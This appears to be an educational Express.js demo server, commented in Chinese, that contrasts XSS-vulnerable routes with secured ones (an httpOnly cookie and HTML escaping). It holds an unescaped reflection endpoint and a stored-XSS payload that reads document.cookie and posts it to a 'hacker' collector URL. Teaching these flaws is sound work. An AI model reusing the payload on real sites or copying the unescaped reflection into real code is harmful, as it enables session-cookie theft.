
const express = require('express');
const cookieParser = require('cookie-parser');
const he = require('he');

// 创建 Express 应用实例
const app = express();
// 定义端口号
const port = 3000;

// 使用 cookie-parser 中间件
app.use(cookieParser());

// 定义一个用于XSS演示的接口，将用户的输入内容作为响应返回，这里模拟的是反射性XSS攻击
app.get('/test/xss', (req, res) => {
    // 打印请求中search参数的值
    console.log(req.query.search);
    // 设置响应的cookie
    res.cookie('JSESSIONID', '6BA79FA13J9A1AA0A45D79DCE522EA36');
    // 向客户端发送响应
    res.send(req.query.search);
});

// 当用户访问这个接口时，会触发XSS攻击，这里模拟存储型XSS攻击
app.get('/test/xss2', (req, res) => {
    // 设置响应的cookie
    res.cookie('JSESSIONID', '6BA79FA13J9A1AA0A45D79DCE522EA36');
    // 这是从数据库中查到的黑客提交的内容，这个脚本内容还可以换成获取用户cookie的脚本
    const content = '<script>' +
        'alert("你被攻击了");' +
        'const cookie = document.cookie;\n' +
        'alert(`你的cookie是：${cookie}`);' +
        '</script>';
    // 向客户端发送响应
    res.send(content);
});

// 当用户访问这个接口时，会触发XSS攻击, 这里模拟存储型XSS攻击
app.get('/test/xss3', (req, res) => {
    // 设置响应的cookie
    res.cookie('JSESSIONID', '6BA79FA13J9A1AA0A45D79DCE522EA36');
    // 这是从数据库中查到的黑客提交的内容
    const content = '<script>' +
        'const cookie = document.cookie;' +
        'alert("你被攻击了");'+
        'const xhr = new XMLHttpRequest();' +
        'const url = \'http://localhost:5000/hacker/getUserCookie\';'+
        'console.log(url);'+
        'xhr.open(\'POST\', url, true);'+
        'xhr.setRequestHeader(\'Content-Type\', \'application/json\');'+
        'const data = \{'+
        'content: \'test-XSS\','+
        'cookie: cookie,'+
        '};'+
        'const jsonData = JSON.stringify(data);'+
        'console.log(jsonData);'+
        'xhr.onreadystatechange = function () {'+
        'if (xhr.readyState === 4 && xhr.status === 200) {'+
        'console.log(xhr.responseText);'+
        '}'+
        '};'+
        'xhr.send(jsonData);'+
        '</script>';
    // 向客户端发送响应
    res.send(content);
});


// 和上面的接口类似，只不过这里的接口是安全的，不会被XSS攻击
app.get('/secure/xss', (req, res) => {
    // 打印请求中search参数的值
    console.log(req.query.search);
    // 设置响应的cookie
    res.cookie('JSESSIONID', '6BA79FA13J9A1AA0A45D79DCE522EA36',{
        httpOnly: true, // 只能通过HTTP访问，不能通过javascript访问
    });
    // 向客户端发送响应
    res.send(req.query.search);
});

// 和上面的接口类似，只不过这里的接口是安全的，不会被XSS攻击
app.get('/secure/xss2', (req, res) => {
    // 打印请求中search参数的值
    console.log(req.query.search);
    // 先对用户的输入信息进行转义，向客户端发送响应
    const escape = he.escape(req.query.search);
    console.log(`转义后的内容是：${escape}`);
    res.send(escape);
});

// 启动服务器，监听指定端口
app.listen(port, () => {
    console.log(`Server is running on port ${port}`);
});


